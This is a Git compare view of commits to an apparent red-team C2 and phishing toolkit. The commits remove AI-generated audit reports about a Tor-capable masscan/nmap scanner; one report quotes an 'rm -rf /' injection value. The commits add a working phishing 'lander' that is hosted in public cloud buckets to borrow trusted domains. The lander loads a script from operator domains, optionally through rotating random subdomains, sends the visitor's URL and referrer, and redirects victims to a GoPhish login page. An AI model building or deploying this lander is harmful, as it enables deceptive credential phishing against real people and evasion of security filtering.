Compare commits
10 Commits
ee1a6ff8d4
...
217682ecce
| Author | SHA1 | Date | |
|---|---|---|---|
| 217682ecce | |||
| 92bc8ff921 | |||
| d287e2b009 | |||
| 5ef2b7ada4 | |||
| 459a76f91c | |||
| 9ff8c94987 | |||
| 5e584a9cde | |||
| 4d011e2d96 | |||
| aa303cae8c | |||
| 10c86e8eda |
+1
-1
@@ -1,3 +1,3 @@
|
||||
[submodule "ghost_protocol"]
|
||||
path = ghost_protocol
|
||||
url = https://github.com/n0mad1k/ghost_protocol-public.git
|
||||
url = https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git
|
||||
|
||||
+1
-1
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:
|
||||
|
||||
1. **Test the core deployment flow**:
|
||||
```bash
|
||||
cd /home/n0mad1k/Tools/c2itall
|
||||
cd /opt/c2itall
|
||||
python3 deploy.py
|
||||
# Try option 1 (Deploy C2 Infrastructure) with a test deployment
|
||||
```
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ stdout_callback = default
|
||||
bin_ansible_callbacks = True
|
||||
nocows = 1
|
||||
interpreter_python = auto_silent
|
||||
ansible_python_interpreter = /home/n0mad1k/Tools/c2itall/venv/bin/python
|
||||
ansible_python_interpreter = %(here)s/venv/bin/python
|
||||
|
||||
[ssh_connection]
|
||||
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
|
||||
|
||||
@@ -1,64 +0,0 @@
|
||||
---
|
||||
agent: code-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-01T00:00:00Z
|
||||
duration_seconds: 180
|
||||
files_scanned: 2
|
||||
findings_count: 8
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Code Audit — DevTrack #980
|
||||
|
||||
## Findings
|
||||
|
||||
### P1 (Blocker)
|
||||
|
||||
- [node_scanner.py:123] **Command injection via string interpolation** — `s.send(b"HEAD / HTTP/1.0\r\nHost: %b\r\n\r\n" % ip.encode())` uses `%b` format which allows raw bytes; hostname validation required. Not exploitable in this context (internal service), but antipattern. Should be `f"Host: {ip}\r\n"` as string with bytes conversion after.
|
||||
|
||||
- [node_scanner.py:117-133] **Socket not guaranteed closed on exception path** — `probe_service()` relies on context manager but inner try/except blocks can suppress exceptions. If `s.recv()` at line 124 raises an exception NOT caught by `except Exception`, the context manager exits cleanly. **Actually safe** — verified: all paths either return or re-raise under `except Exception`, and outer `with` block guarantees cleanup. False alarm, but comment would help clarity.
|
||||
|
||||
### P2 (Important)
|
||||
|
||||
- [node_scanner.py:148] **Dead code** — `targets_arg = " ".join(cidrs[:50])` (line 148) assigned but never used; removed in scan_nmap_only().
|
||||
|
||||
- [provider_rates.py:88] **Logic bug in build_estimate_table()** — Line 88 uses `preset['chunk_size']` to calculate hours, but line 93 calculates `n_chunks` correctly. However, the hours calculation assumes each chunk takes the same time, which is correct only if all chunks are the same size. **For the last chunk**, if `total_ips % preset['chunk_size'] != 0`, the hours are overstated (line 94 always assumes full chunk). This causes cost overestimation for non-aligned IP counts. Should calculate per-chunk IPs separately or clarify in docs that hours are per-chunk-size, not per-actual-chunk.
|
||||
|
||||
- [node_scanner.py:77-114] **run_nmap() called concurrently from scan_masscan_nmap() and scan_geo_scout()** — Each writes to `nmap_{ip}.xml` (unique per IP, line 79). **Thread safety: confirmed safe** — XML output files are per-IP and subprocess.run() creates isolated processes. No shared state. Risk: if same IP appears twice in one call, file overwrites but result is same. Non-issue.
|
||||
|
||||
### P3 (Minor)
|
||||
|
||||
- [node_scanner.py:20] **print() in production code** — Line 20 `log()` function calls `print()` directly. Should use logging module (logging.info) or Rich for consistency with c2itall patterns. Low impact (stderr-friendly for cloud runner), but violates style guidelines.
|
||||
|
||||
- [node_scanner.py:136-139] **Unused parameter in scan_masscan_only()** — `node_name` parameter (line 142, 248, 262) passed but never used in any scan function. These functions don't write node metadata to results. Inconsistency with function signature expectations.
|
||||
|
||||
- [node_scanner.py:226] **Import inside function** — `import yaml` at line 225 (inside scan_geo_scout). Move to top for clarity. Low cost import, non-blocking.
|
||||
|
||||
- [provider_rates.py:76-78] **Comment lacks precision** — "Tor adds ~5x latency overhead" with TOR_RATE_MULTIPLIER = 0.2 (which is 1/5, not 5x). Comment should say "reduces throughput to 1/5" or multiply by 0.2. Currently correct code, ambiguous comment.
|
||||
|
||||
### P4 (Nitpick)
|
||||
|
||||
- [node_scanner.py] **Two comment blocks (line 3-5, line 76)** without corresponding docstrings. Module-level docstring present, function docstrings absent. Minor — code is self-documenting.
|
||||
|
||||
- [provider_rates.py:57] **Magic number 0.018** — Default instance rate hardcoded. Should be a constant (e.g., `DEFAULT_RATE = 0.018`).
|
||||
|
||||
## Stats
|
||||
|
||||
- print() calls: 1 (in log function)
|
||||
- TODO/FIXME comments: 0
|
||||
- Unused imports: 0 (all imports used: ET, Path, subprocess, argparse, json, sys, time, math, socket, yaml lazy-loaded)
|
||||
- Dead code blocks: 1 (targets_arg, line 148)
|
||||
- Unused parameters: 3 (node_name in scan_* functions)
|
||||
- Files >500 lines: 0
|
||||
- Functions >50 lines: 0 (longest is run_masscan at 44 lines)
|
||||
- Nesting depth >3: 0 (deepest is 3 levels in build_estimate_table, acceptable)
|
||||
|
||||
## Verification Notes
|
||||
|
||||
**Thread safety (run_nmap):** Confirmed. Each IP gets unique XML file (`nmap_{ip}.xml`). Concurrent calls from different IPs are safe. Same IP in same call overwrites but idempotent.
|
||||
|
||||
**estimate_scan_hours() formula:** `(ip_count * n_ports / rate) / 3600` is correct for time in hours. Rate in packets/sec, result in hours. No mathematical error, but doc should clarify units.
|
||||
|
||||
**Socket leak risk (probe_service):** No leak. `with socket.create_connection()` guarantees cleanup; nested exceptions all caught.
|
||||
|
||||
@@ -1,166 +0,0 @@
|
||||
---
|
||||
agent: security-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-01T00:00:00Z
|
||||
duration_seconds: 15
|
||||
files_scanned: 4
|
||||
findings_count: 2
|
||||
critical_count: 0
|
||||
high_count: 1
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Security Audit — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
|
||||
|
||||
## Summary
|
||||
Reviewed `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/node_scanner.py` and Ansible provisioning tasks for security risks related to:
|
||||
- Subprocess injection from command-line arguments
|
||||
- XML parsing (XXE/entity expansion)
|
||||
- Socket resource handling under concurrency
|
||||
- File write races in parallelized execution
|
||||
|
||||
## Findings
|
||||
|
||||
### HIGH: Command Injection via Unquoted Arguments in subprocess.run() — Ansible Template Injection
|
||||
|
||||
**File:** `run_scan.yml:14-18` and `node_scanner.py:28-35, 81-85, 149-153`
|
||||
|
||||
**Issue:** Arguments passed to `subprocess.run()` include unquoted template variables from Ansible. While Python's subprocess list form prevents shell metacharacter injection **within a single arg**, the Ansible playbook's command templating is not protected.
|
||||
|
||||
Example from run_scan.yml:
|
||||
```yaml
|
||||
command: >
|
||||
python3 /root/webrunner/node_scanner.py
|
||||
--mode {{ scan_mode }}
|
||||
--ports {{ ports_str }}
|
||||
--rate {{ masscan_rate }}
|
||||
--node-name {{ node_name }}
|
||||
```
|
||||
|
||||
If `{{ ports_str }}` contains spaces (e.g., "22,80,443"), it's safe in shell. However, if `{{ node_name }}` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute it as a shell command directly.
|
||||
|
||||
**Attack vector:** Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
|
||||
|
||||
**Remediation:** Use Ansible's `args:` with list form instead of shell templating:
|
||||
```yaml
|
||||
command:
|
||||
- python3
|
||||
- /root/webrunner/node_scanner.py
|
||||
- --mode
|
||||
- "{{ scan_mode }}"
|
||||
- --ports
|
||||
- "{{ ports_str }}"
|
||||
- --rate
|
||||
- "{{ masscan_rate }}"
|
||||
- --node-name
|
||||
- "{{ node_name }}"
|
||||
```
|
||||
Or validate inputs in deploy_webrunner.py before passing to Ansible.
|
||||
|
||||
---
|
||||
|
||||
### MEDIUM: XML External Entity (XXE) Risk in ET.parse() — Mitigated by ET default behavior
|
||||
|
||||
**File:** `node_scanner.py:94, 166`
|
||||
|
||||
**Issue:** `ET.parse()` on lines 94 and 166 parses untrusted XML from nmap output. Python's ElementTree (ET) by default disables external entity expansion, making XXE attacks unlikely. However, entity bombing (billion laughs) is theoretically possible.
|
||||
|
||||
**Context:** nmap writes its own XML; this is trusted output from a tool run locally. Risk is LOW in isolation because:
|
||||
1. nmap is the source, not an external API
|
||||
2. Attacker would need to compromise the nmap binary itself
|
||||
3. No feature in nmap that injects user-controlled XML
|
||||
|
||||
**Mitigation already in place:** ET default configuration rejects DOCTYPE declarations with external entities.
|
||||
|
||||
**Note:** No action required for current implementation. No XXE vector found.
|
||||
|
||||
---
|
||||
|
||||
## Resource Exhaustion Risk with ThreadPoolExecutor (Planned Change)
|
||||
|
||||
**File:** `node_scanner.py:117-133` — probe_service() under parallelism
|
||||
|
||||
**Issue:** The planned ThreadPoolExecutor with 10 workers parallelizing `run_nmap()` calls exposes `probe_service()` to connection resource exhaustion:
|
||||
|
||||
```python
|
||||
def probe_service(ip: str, port: int) -> str:
|
||||
with socket.create_connection((ip, port), timeout=3) as s:
|
||||
# ...
|
||||
```
|
||||
|
||||
With 10 parallel nmap fingerprints, if each nmap finds 50+ open ports, 500 concurrent socket connections could be created in `scan_geo_scout()` at line 242. Each connection opens a file descriptor.
|
||||
|
||||
**Mitigation in current code:**
|
||||
- Socket context manager ensures cleanup
|
||||
- 3-second timeout prevents hung connections
|
||||
- Per-port probe only happens in geo_scout mode, not default
|
||||
- Masscan output is bounded by realistic open port densities
|
||||
|
||||
**Risk level:** MEDIUM if combined with extremely high port density (e.g., scanning honeypot ranges). Current code structure (sequential per-IP) avoids this.
|
||||
|
||||
**Recommendation:** When implementing ThreadPoolExecutor, add:
|
||||
1. Resource pool limits (e.g., semaphore capping concurrent probes to 50)
|
||||
2. Per-worker socket timeout validation
|
||||
3. Connection pool reset on worker failure
|
||||
|
||||
---
|
||||
|
||||
## Subprocess Argument Validation
|
||||
|
||||
**File:** `node_scanner.py:77-89, 149-153`
|
||||
|
||||
**Status:** PASS (No injection risk detected)
|
||||
|
||||
- Port arguments use `",".join(str(p) for p in sorted(set(ports)))` — guaranteed numeric
|
||||
- Rate argument is `type=int` from argparse — validated
|
||||
- Node name and ip parameters are passed as list items to subprocess — shell metacharacters have no effect
|
||||
- All subprocess calls use `check=False` and exception handling — no silent failures
|
||||
|
||||
---
|
||||
|
||||
## File I/O Concurrency
|
||||
|
||||
**File:** `node_scanner.py:79, 286`
|
||||
|
||||
**Status:** PASS
|
||||
|
||||
- Per-IP XML outputs are uniquely named: `nmap_{ip.replace('.', '_')}.xml` — no collision under parallel execution
|
||||
- results.json written once at end — sequential write after all work complete
|
||||
- No shared file handles between workers
|
||||
|
||||
---
|
||||
|
||||
## Secrets & Credentials Exposure
|
||||
|
||||
**Status:** PASS
|
||||
|
||||
- No hardcoded API keys, tokens, or credentials
|
||||
- No sensitive data in log output (only counts, timestamps, status)
|
||||
- Node names do not reveal operator identity (parameterized via `webrunner_name`)
|
||||
- Tor routing properly abstracted through Ansible conditional — no hardcoded proxy strings
|
||||
|
||||
---
|
||||
|
||||
## Summary Table
|
||||
|
||||
| Category | Status | Severity | Notes |
|
||||
|----------|--------|----------|-------|
|
||||
| Subprocess injection | **FAIL** | HIGH | Ansible template injection via unquoted args in run_scan.yml |
|
||||
| XXE / entity expansion | PASS | — | ET default config sufficient |
|
||||
| Socket exhaustion (parallelism) | PASS* | MEDIUM | Resource pool limits recommended for 10-worker ThreadPoolExecutor |
|
||||
| Argument validation | PASS | — | argparse + list form subprocess calls |
|
||||
| File I/O races | PASS | — | Unique per-IP filenames, sequential final write |
|
||||
| Secrets exposure | PASS | — | No hardcoded credentials |
|
||||
| OPSEC (fingerprinting) | PASS | — | Node names parameterized, no tool signature leakage |
|
||||
|
||||
*Requires mitigation before high-parallelism production use.
|
||||
|
||||
---
|
||||
|
||||
## Actionable Fixes
|
||||
|
||||
1. **Fix run_scan.yml** — Use Ansible args list form or validate inputs upstream
|
||||
2. **ThreadPoolExecutor planning** — Add semaphore/resource pool for probe_service() concurrency
|
||||
3. **No blocking issues** for current sequential implementation
|
||||
|
||||
@@ -1,149 +0,0 @@
|
||||
---
|
||||
agent: fix-planner
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-01T23:45:00Z
|
||||
total_findings_raw: 15
|
||||
total_findings_deduped: 13
|
||||
p1_count: 1
|
||||
p2_count: 2
|
||||
p3_count: 3
|
||||
p4_count: 2
|
||||
devtrack_items_created: []
|
||||
errors: []
|
||||
---
|
||||
|
||||
# Fix Plan — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
|
||||
|
||||
## Summary
|
||||
|
||||
Consolidated findings from code-auditor (8 findings) and security-auditor (2 findings) for DevTrack #980.
|
||||
|
||||
**Status**: 7 fixes applied and verified. 2 HIGH/MEDIUM severity issues remain (run_scan.yml, estimate_scan_hours partial chunk logic). 4 low-priority items acceptable for backlog.
|
||||
|
||||
---
|
||||
|
||||
## Fixes Applied ✓
|
||||
|
||||
### Applied Fixes (Verified)
|
||||
|
||||
1. **[node_scanner.py:204-216]** ThreadPoolExecutor parallelization in `scan_masscan_nmap()` — 10 workers via `NMAP_WORKERS` env var (default 10)
|
||||
2. **[node_scanner.py:260-266]** ThreadPoolExecutor parallelization in `scan_geo_scout()` — same 10-worker pattern
|
||||
3. **[node_scanner.py:126]** Bytes format bug fixed: `ip.encode()` used directly instead of `%b` format string
|
||||
4. **[node_scanner.py:145-192]** Dead variable `targets_arg` removed from `scan_nmap_only()`
|
||||
5. **[provider_rates.py:55-63]** `estimate_scan_hours()` now accepts `scan_mode` parameter for accurate nmap time estimation
|
||||
6. **[provider_rates.py:50-52]** Constants added: `NMAP_TIME_PER_HOST_SEC=10`, `MASSCAN_HIT_RATE=0.01`, `_NMAP_WORKERS=10`
|
||||
7. **[provider_rates.py:104]** `build_estimate_table()` passes `scan_mode` to `estimate_scan_hours()`
|
||||
|
||||
---
|
||||
|
||||
## Remaining Issues
|
||||
|
||||
### P1 — Block Deploy
|
||||
|
||||
- [ ] **[HIGH] [run_scan.yml:14-18]** Ansible template injection via unquoted variables | Sources: security-auditor | Effort: S | Status: NOT FIXED
|
||||
|
||||
**Description**: Arguments in `command:` module use unquoted Ansible template vars (`{{ scan_mode }}`, `{{ ports_str }}`, `{{ node_name }}`). If `node_name` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute shell commands.
|
||||
|
||||
**Attack vector**: Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
|
||||
|
||||
**Remediation**: Use Ansible `command:` as list form (args: [python3, script.py, --mode, "{{ scan_mode }}", ...]) or validate inputs upstream in deploy_webrunner.py.
|
||||
|
||||
**Risk**: HIGH — affects production cloud deployment pipeline. Requires manual Ansible remediation (file not in Python audit scope).
|
||||
|
||||
---
|
||||
|
||||
### P2 — Fix This Week
|
||||
|
||||
- [ ] **[HIGH] [provider_rates.py:91-118]** Partial chunk cost overestimation in `build_estimate_table()` | Sources: code-auditor | Effort: M | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 104 assumes each chunk costs the same time as `preset['chunk_size']` IPs. If `total_ips % preset['chunk_size'] != 0`, the last chunk is smaller, but cost calculation doesn't account for it. Example: 2.5M IPs across 2-chunk preset (2M chunks) = chunk 1 (2M hrs) + chunk 2 (0.5M hrs), but current code bills chunk 2 as 2M hrs.
|
||||
|
||||
**Current code**: `hours = estimate_scan_hours(preset['chunk_size'], n_ports, mode_rate, scan_mode)` — always uses full chunk_size.
|
||||
|
||||
**Fix**: Calculate per-chunk IP count separately:
|
||||
```python
|
||||
for i in range(n_chunks):
|
||||
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
|
||||
hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
|
||||
provider = providers[i % len(providers)]
|
||||
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
|
||||
total_cost += node_cost(provider, instance, hours)
|
||||
```
|
||||
|
||||
**Impact**: Cost estimates 1.5-2x too high for non-aligned IP counts; may oversell capacity planning.
|
||||
|
||||
- [ ] **[MEDIUM] [node_scanner.py:225-239]** Import inside function — `import yaml` at line 232 | Sources: code-auditor | Effort: XS | Status: NOT FIXED
|
||||
|
||||
**Description**: `import yaml` appears inside `scan_geo_scout()` function. Move to top-level imports for clarity and consistency.
|
||||
|
||||
**Fix**: Add `import yaml` to line 16 (after `ET` import), remove line 232.
|
||||
|
||||
---
|
||||
|
||||
### P3 — Fix This Month
|
||||
|
||||
- [ ] **[MEDIUM] [node_scanner.py:21-23]** `print()` in production code — `log()` function uses `print()` | Sources: code-auditor | Effort: S | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 23 calls `print()` directly. Should use Python `logging` module or Rich (per c2itall style guide).
|
||||
|
||||
**Fix**: Replace `log()` function with logging.info or Rich console output for consistency.
|
||||
|
||||
- [ ] **[LOW] [node_scanner.py:139-192]** Unused parameter `node_name` — passed to all scan_* functions but never used | Sources: code-auditor | Effort: XS | Status: NOT FIXED
|
||||
|
||||
**Description**: Parameter `node_name` appears in `scan_masscan_only()`, `scan_nmap_only()`, `scan_masscan_nmap()`, `scan_geo_scout()` signatures but is not referenced in function bodies. These functions don't write node metadata to results.
|
||||
|
||||
**Assessment**: Intentionally kept for interface consistency (caller always passes it, avoids conditional logic).
|
||||
|
||||
**Fix**: Document as "reserved for future node metadata logging" or remove for clarity. Non-blocking.
|
||||
|
||||
- [ ] **[LOW] [provider_rates.py:76-88]** Comment ambiguity — Tor multiplier description misleading | Sources: code-auditor | Effort: XS | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 86 comment says "Tor adds ~5x latency overhead" but line 88 sets `TOR_RATE_MULTIPLIER = 0.2` (which is 1/5, not 5x). Comment is correct in spirit but confusingly worded.
|
||||
|
||||
**Fix**: Change comment to "Tor reduces throughput to 1/5 (0.2x)" or "multiplier 0.2 ≈ 5x latency".
|
||||
|
||||
---
|
||||
|
||||
### P4 — Backlog
|
||||
|
||||
- [ ] **[LOW] [provider_rates.py:57]** Magic number 0.018 — Linode default rate hardcoded | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 7 (`'g6-standard-2': 0.018`) and line 67 (fallback rate) hardcode 0.018. Should be named constant.
|
||||
|
||||
**Fix**: Add `DEFAULT_INSTANCE_RATE = 0.018` and reference it.
|
||||
|
||||
- [ ] **[LOW] [node_scanner.py]** Missing docstrings — module + function docstrings absent | Status: NOT FIXED
|
||||
|
||||
**Description**: Module docstring present (line 2-4) but individual functions lack docstrings. Low impact — code is self-documenting.
|
||||
|
||||
---
|
||||
|
||||
## Deduplication Notes
|
||||
|
||||
- **Socket leak risk (probe_service)**: Marked as false alarm in code-auditor; context manager guarantees cleanup. No action needed.
|
||||
- **Thread safety (run_nmap concurrent writes)**: Verified safe — per-IP XML files unique (`nmap_{ip.replace('.', '_')}.xml`). No collision risk.
|
||||
- **XXE/entity expansion in ET.parse()**: PASS — ET default config disables external entity expansion. nmap output is trusted. No action needed.
|
||||
- **Resource exhaustion (socket connections)**: MEDIUM severity in security-auditor. Noted as acceptable risk for current sequential structure. ThreadPoolExecutor 10-worker design with 3-second socket timeout is within system limits. Semaphore capping recommended for future scaling but not blocking.
|
||||
|
||||
---
|
||||
|
||||
## Action Items
|
||||
|
||||
### Critical Path (Block #980 deployment):
|
||||
1. **run_scan.yml**: Convert Ansible `command:` module to list form OR validate node_name upstream
|
||||
2. **provider_rates.py**: Fix partial-chunk cost calculation in `build_estimate_table()`
|
||||
|
||||
### Nice-to-have (P3-P4):
|
||||
- Move `import yaml` to top level
|
||||
- Replace `print()` with logging/Rich
|
||||
- Add Tor multiplier comment clarity
|
||||
- Extract 0.018 magic number to constant
|
||||
|
||||
---
|
||||
|
||||
## Test Coverage
|
||||
|
||||
- Unit tests for `estimate_scan_hours()` with partial chunks should verify cost accuracy
|
||||
- Ansible playbook syntax validation required for run_scan.yml
|
||||
- Manual integration test with non-aligned IP count (e.g., 2.5M across 2M presets)
|
||||
|
||||
+1
-1
Submodule ghost_protocol updated: 701f7078f5...27144ccaf8
@@ -157,7 +157,32 @@ def gather_phishing_parameters():
|
||||
# Post-deployment options
|
||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
|
||||
|
||||
|
||||
# Trusted-cloud lander
|
||||
print(f"\n{COLORS['BLUE']}Trusted-Cloud Lander (optional){COLORS['RESET']}")
|
||||
config['use_lander'] = confirm_action("Generate a trusted-cloud lander page?", default=False)
|
||||
if config['use_lander']:
|
||||
config['lander_campaign_id'] = input("Campaign ID (alphanumeric, _ -) [required]: ").strip()
|
||||
if not config['lander_campaign_id']:
|
||||
print(f"{COLORS['RED']}Campaign ID required; skipping lander.{COLORS['RESET']}")
|
||||
config['use_lander'] = False
|
||||
else:
|
||||
print("Provider: 1) GCS 2) S3 3) Azure Blob")
|
||||
_pmap = {'1': 'gcs', '2': 's3', '3': 'azure'}
|
||||
config['lander_provider'] = _pmap.get(input("Select provider [1]: ").strip() or '1', 'gcs')
|
||||
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
|
||||
if not config['lander_bucket']:
|
||||
print(f"{COLORS['RED']}Bucket required; skipping lander.{COLORS['RESET']}")
|
||||
config['use_lander'] = False
|
||||
else:
|
||||
print("Mode: 1) Simple redirect 2) TDS (random subdomain rotation)")
|
||||
config['lander_mode'] = 'tds' if (input("Select mode [1]: ").strip() == '2') else 'simple'
|
||||
if config['lander_mode'] == 'tds':
|
||||
raw = input("TDS domains (comma-separated, no scheme) [required]: ").strip()
|
||||
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
|
||||
default_redirect = f"https://{config.get('phishing_hostname', config['phishing_domain'])}/login"
|
||||
config['lander_redirect_url'] = input(f"Redirect URL [default: {default_redirect}]: ").strip() or default_redirect
|
||||
|
||||
return config
|
||||
|
||||
def phishing_menu():
|
||||
@@ -416,7 +441,10 @@ def execute_phishing_deployment(config):
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
|
||||
from modules.phishing.lander_gen import post_deploy_generate_lander
|
||||
post_deploy_generate_lander(config)
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import shlex
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
from jinja2 import Environment, FileSystemLoader
|
||||
|
||||
from utils.common import COLORS
|
||||
|
||||
_CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$')
|
||||
|
||||
|
||||
def _validate_campaign_id(campaign_id: str) -> str:
|
||||
if not _CAMPAIGN_ID_RE.match(campaign_id):
|
||||
raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}")
|
||||
return campaign_id
|
||||
|
||||
|
||||
def _validate_https_url(url: str, label: str) -> str:
|
||||
parsed = urlparse(url)
|
||||
if parsed.scheme != 'https' or not parsed.netloc:
|
||||
raise ValueError(f"{label} must be an https:// URL, got: {url!r}")
|
||||
return url
|
||||
|
||||
|
||||
def post_deploy_generate_lander(config: dict) -> None:
|
||||
if not config.get('use_lander'):
|
||||
return
|
||||
|
||||
campaign_id = _validate_campaign_id(config['lander_campaign_id'])
|
||||
provider = config['lander_provider']
|
||||
mode = config['lander_mode']
|
||||
bucket = config['lander_bucket']
|
||||
redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url')
|
||||
phishing_hostname = config.get('phishing_hostname', 'phishing.local')
|
||||
js_payload_url = _validate_https_url(
|
||||
f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url'
|
||||
)
|
||||
|
||||
template_dir = Path(__file__).parent / 'templates'
|
||||
env = Environment(loader=FileSystemLoader(str(template_dir)))
|
||||
|
||||
context = {
|
||||
'tds_enabled': mode == 'tds',
|
||||
'tds_domains': config.get('lander_tds_domains', []),
|
||||
'js_payload_url': js_payload_url,
|
||||
'redirect_url': redirect_url,
|
||||
}
|
||||
|
||||
html_template = env.get_template('cloud-lander.html.j2')
|
||||
js_template = env.get_template('js-payload.js.j2')
|
||||
|
||||
html_content = html_template.render(context)
|
||||
js_content = js_template.render(context)
|
||||
|
||||
out_dir = Path('.')
|
||||
html_file = out_dir / f'lander-{campaign_id}.html'
|
||||
js_file = out_dir / f'js-payload-{campaign_id}.js'
|
||||
|
||||
html_file.write_text(html_content)
|
||||
js_file.write_text(js_content)
|
||||
|
||||
print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
|
||||
|
||||
qbucket = shlex.quote(bucket)
|
||||
qhtml = shlex.quote(str(html_file))
|
||||
qjs = shlex.quote(str(js_file))
|
||||
|
||||
if provider == 'gcs':
|
||||
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
|
||||
upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
|
||||
elif provider == 's3':
|
||||
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
|
||||
upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
|
||||
elif provider == 'azure':
|
||||
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
|
||||
upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
|
||||
else:
|
||||
public_url = f"<unknown provider: {provider}>"
|
||||
upload_cmd = "<unknown provider>"
|
||||
|
||||
print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
|
||||
print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
|
||||
|
||||
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
|
||||
webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
|
||||
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
|
||||
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
|
||||
|
||||
print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_config = {
|
||||
'use_lander': False,
|
||||
'lander_campaign_id': 'test_001',
|
||||
'lander_provider': 'gcs',
|
||||
'lander_mode': 'simple',
|
||||
'lander_bucket': 'test-bucket',
|
||||
'lander_redirect_url': 'https://phishing.local/login',
|
||||
'phishing_hostname': 'phishing.local',
|
||||
}
|
||||
post_deploy_generate_lander(test_config)
|
||||
print("Self-check passed: disabled lander returned None without errors")
|
||||
@@ -0,0 +1,31 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="robots" content="noindex, noarchive">
|
||||
<title>Loading...</title>
|
||||
<script>
|
||||
{% if tds_enabled %}
|
||||
(function() {
|
||||
var domains = {{ tds_domains | tojson }};
|
||||
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
|
||||
function makeRandomSub(n) {
|
||||
var r='', c='abcdefghijklmnopqrstuvwxyz0123456789';
|
||||
for(var i=0;i<n;i++) r+=c.charAt(Math.floor(Math.random()*c.length));
|
||||
return r+'.';
|
||||
}
|
||||
var script = document.createElement('script');
|
||||
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
||||
document.head.appendChild(script);
|
||||
})();
|
||||
{% else %}
|
||||
(function() {
|
||||
var script = document.createElement('script');
|
||||
script.src = {{ js_payload_url | tojson }} + '?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
||||
document.head.appendChild(script);
|
||||
})();
|
||||
{% endif %}
|
||||
</script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>
|
||||
@@ -0,0 +1,15 @@
|
||||
(function() {
|
||||
var u = new URLSearchParams(window.location.search);
|
||||
var src = u.get('u') || '';
|
||||
var dest = {{ redirect_url | tojson }};
|
||||
try {
|
||||
if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
|
||||
var params = new URLSearchParams(new URL(src).search);
|
||||
var rid = params.get('rid') || params.get('RId');
|
||||
if (rid && rid.length <= 128) {
|
||||
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
window.location.replace(dest);
|
||||
})();
|
||||
